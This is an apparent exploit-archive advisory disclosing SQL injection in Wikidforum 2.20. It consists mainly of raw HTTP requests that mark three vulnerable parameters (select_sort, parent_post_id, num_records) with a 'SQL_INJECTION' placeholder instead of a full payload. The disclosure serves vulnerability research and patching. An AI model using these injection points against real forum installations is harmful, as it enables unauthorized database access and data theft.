Wikidforum 2.20 - 'select_sort' SQL Injection

# Exploit Title: Wikidforum 2.20 - 'select_sort' SQL Injection
# Date: 2018-10-08
# Exploit Author: Seccops - Siber Güvenlik Hizmetleri (https://seccops.com)
# Vendor Homepage: https://sourceforge.net/projects/wikidforum/
# Software Link: https://sourceforge.net/projects/wikidforum/files/Wikidforum-com-ed.2.20.zip/download
# Version: 2.20
# Tested on: Windows 10
# Vulnerability Type: SQL Injection
# CVE: -
 
# Vulnerable the POST parameter in search: select_sort
# HTTP Requests for SQLi Detection:
 
POST /Wikidforum-com-ed.2.20/wikidforum/index.php?action=search&mode=search HTTP/1.1
Host: localhost
Content-Length: 428
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3
Connection: close
 
txtsearch=3&opt_search_select=forum&txt_author=3&search_display_field%255b%255d=post_rate&select_sort=SQL_INJECTION
 
# Vulnerable the POST parameter in search: parent_post_id
# HTTP Requests for SQLi Detection:
 
GET /Wikidforum-com-ed.2.20/wikidforum/rpc.php?action=applications/post/rpc.php&mode=post_rpc&page=1&num_records=25&parent_post_id=SQL_INJECTION HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3
 
# Vulnerable the POST parameter in search: num_records
# HTTP Requests for SQLi Detection:
 
GET /Wikidforum-com-ed.2.20/wikidforum/rpc.php?action=applications/post/rpc.php&mode=post_rpc&page=1&num_records=SQL_INJECTION HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3